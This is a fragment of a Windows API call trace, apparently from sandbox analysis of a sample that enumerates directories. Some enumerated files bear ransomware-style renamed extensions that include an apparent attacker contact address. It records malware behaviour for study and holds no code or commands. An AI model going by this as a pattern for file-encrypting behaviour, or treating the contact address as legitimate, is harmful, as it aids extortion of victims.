	[0134.383] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1
	[0134.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.397] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1
	[0134.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.399] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1
	[0134.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.401] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1
	[0134.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.403] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1
	[0134.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.405] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1
	[0134.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.407] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1
	[0134.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.409] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1
	[0134.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.411] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1
	[0134.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.413] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1
	[0134.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.416] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1
	[0134.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.418] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1
	[0134.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.420] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1
	[0134.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.423] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1
	[0134.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.425] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1
	[0134.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.427] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1
	[0134.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.597] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1
	[0134.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.599] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1
	[0134.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.600] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1
	[0134.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.602] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1
	[0134.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.604] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99efb65a, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99efb65a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99fe0595, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DHTMLH~1.YG")) returned 1
	[0134.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.606] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0134.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.609] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a02c966, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a02c966, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a3e6a62, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="HEADER~1.YG")) returned 1
	[0134.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.610] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x41bfcf8 | out: lpFindFileData=0x41bfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0134.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.611] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0134.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.611] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0134.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.611] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0134.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.612] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0134.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.612] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0134.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.612] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0134.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.613] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0134.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.613] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0134.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.613] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0134.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.614] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0134.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.614] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0134.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.619] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0134.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.620] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0134.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.620] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0134.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.620] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0134.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
